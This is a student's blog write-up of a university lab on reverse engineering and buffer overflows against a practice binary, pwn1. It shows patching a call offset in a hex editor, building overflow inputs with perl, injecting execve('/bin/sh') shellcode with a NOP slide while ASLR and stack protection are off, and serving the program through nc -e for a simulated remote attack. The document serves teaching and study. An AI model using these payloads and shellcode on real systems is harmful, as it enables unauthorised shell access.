exp1 逆向与Bof基础

exp1 逆向与Bof基础


1.基础知识

  • 熟悉Linux基本操作
    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 指令、参数
    • 用时及时查询。
    • 所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
    • 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
    • 操作成功不重要,照着敲入指令肯定会成功。
    • 重要的是理解思路。
      • 看指导理解思路,然后抛开指导自己做。
      • 碰到问题才能学到知识。
      • 具体的指令可以回到指导中查。

NOP, JNE,, JMP, CMP汇编指令的机器码:

汇编指令 机器码 功能
NOP 0x90 空指令,当CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。
JNE 0x75 如果后面两个参数不相等则跳转到对应地址。
JMP 段内直接短转Jmp short:0xEB;段内直接近转移Jmp near:0xE9;段内间接转移Jmp word:0xFF;段间直接(远)转移Jmp far:0xEA
CMP 0x38-0x3D 比较指令,对操作数之间进行运算比较。

反汇编

objdump

- objdump -d <file(s)>`: 将代码段反汇编;
- objdump -S <file(s)>`: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用`-g`参数,即需要调试信息;
- objdump -C <file(s)>`: 将C++符号名逆向解析
- objdump -l <file(s)>`: 反汇编代码中插入文件名和行号
- objdump -j section <file(s)>`: 仅反汇编指定的section

gdb disassemble

gdb反汇编disassemble_菜菜的阿庄的博客-CSDN博客_gdb 反编译

十六进制编辑器

vim <filename>: 以ASCII码形式显示可执行文件的内容
  :%!xxd: 将显示模式切换为16进制模式
  :%!xxd: 将16进制切换回ASCII码模式

2.直接修改程序机器指令,改变程序执行流程

1.下载目标文件pwn1,反汇编。

使用vmtool导入文件,此处将文件复制三次以供后续使用。

image-20220317205948971

使用objdump -d对文件进行反汇编,找到当中主要的三个函数main、foo、getshell。

image-20220317210317874

任务:调用getshell函数。

分析

1.此时的程序流程为main——foo——main,注意在main中通过call指令调用foo,我们需要修改此处的地址来让call指令调用getshell函数。

2.call的机器指令为e8 d7 ff ff ff,此时eip指向08 04 84 ba,由于是反码,eip计算后指向08 04 84 91这个正好是foo的地址,所以我们需要修改这里为08 04 84 7d(getshell)-08 04 84 ba == c3 ff ff ff。

步骤

1.通过vim打开pwn文件。

2.通过指令 :%!xxd 修改文件显示格式为16位。

3.通过查找命令找到对应内容 /

此处我通过vi无法找到对应内容,不知道是哪里出现了问题,于是使用了wxHexEditor。

image-20220317220247990

image-20220317215722652

4.修改 d7c3 .

image-20220317215946064

5.反汇编文件检查修改成功。

image-20220317220043676

6.成功getshell。

image-20220317220143066

3.通过构造输入参数,造成BOF攻击,改变程序执行流

任务:触发函数getshell。

分析

1.函数foo的作用:将用户输入的字符打印出来。

image-20220317220727956

此处有缓冲区溢出的漏洞,首先探测输入值的长度极限。此处给缓冲区预留了0x38 == 28 char的空间,所以我们需要构造超过28个字符长度的字符来造成缓冲区溢出。又通过函数的堆栈结构得知,再往上4位是返回地址,再往上四位是eip的值,所以我们要修改eip的值为getshell的地址得从32位开始。

image-20220317220935246

2.getshell的地址是0x0804847d,所以我们需要构造的字符串后面需要加入这个字符串,然而由于机器是大端的,所以应该反过来输入即/x7d/x84/x04/x08。

步骤

1.我们需要使用perlink来构造16进制字符串。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

2.将input的输入,通过管道符“|”,作为pwn1的输入。

(cat input; cat) | ./pwn1

3.成功getshell。

image-20220317223121276

4.注入Shellcode并执行

定义:shellcode—为了获取一个交互式的shell而设计的一段机器指令。

如下构造的shellcode是本次实验所需的:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.1准备工作

预先安装prelink,从老师提供的安装文件中进行安装,否则无法运行后续的指令。

cd prelink
sudo apt-get install libelf-dev
./configure
make
sudo make install

实验的假设条件是这样的:   

    (1)关闭堆栈保护
    (2)关闭堆栈执行保护(execstack -s)
    (3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
    (4)在x32环境下
    (5)在Linux实践环境

所以我们需要修改kali的设置:

image-20220318161207470

4.2构造需要注入的payload

  • 结构为:nops+shellcode+retaddr。(这是一个坑,就不介绍了)
    • nop一为是了填充,二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

能够成功的结构为:anything+retaddr+nops+shellcode。

4.3操作步骤

1.我们需要试探一下程序的返回地址到底在哪里,使用如下shellcode来试探。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

image-20220318164808506

2.打开一个终端注入这段攻击buf:

image-20220318165547463

3.另开一个终端,用gdb来调试,先确定程序的进程号,以便gdb定位。

image-20220318165641078

确定retaddr的位置,将断点设置在ret处。

image-20220318165925567

在另一个终端敲回车,继续调试,找到esp的位置。

image-20220318170202456

查看esp地址的内容,我们可以看到01020304,这说明我们需要的地址已经找到了,返回的地址与其相邻,0xffffd11c + 4。

注入并成功!

image-20220318171027875

image-20220318171132469

4.4 结合nc模拟远程攻击

本例中是在同一台主机上做的实验;该实验最好在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。

主机1,模拟一个有漏洞的网络服务:

root:~# nc -l 127.0.0.1 -p 28234  -e ./pwn1
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

主机2,连接主机1并发送攻击载荷:

root@KaliYL:~# (cat input_shellcode; cat) | nc 127.0.0.1 28234
输入shell指令就可以了
ls

和上述实验步骤相似,此处不多赘述,放出关键步骤。

image-20220325205715674

image-20220325205812338

image-20220325205742481

5.实验感想

​ 此次实验的环境是十分理想的,所有的大门都对我们打开,但实际上现实的环境错综复杂,在理想情况下仍需要一波三折,这已经充分说明了这条学习之路任重而道远,我们的修行远远不够!

  shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。在这个观点下,我们应该去尝试加大难度,增加shellcode的构造难度。

  实验中出现了很多问题,在第一个项目的时候不知道是什么原因使用vim竟然无法查找到对应的机器指令。参考其他同学的博客发现该机器指令都在同一个位置,但是我查看的时候这里的指令和其他同学的都不一样。为此我使用了图形化软件,反而能够找到了,在这里卡壳了好久。

posted @ 2022-03-19 21:05  20191310李烨龙  阅读(129)  评论(0编辑  收藏  举报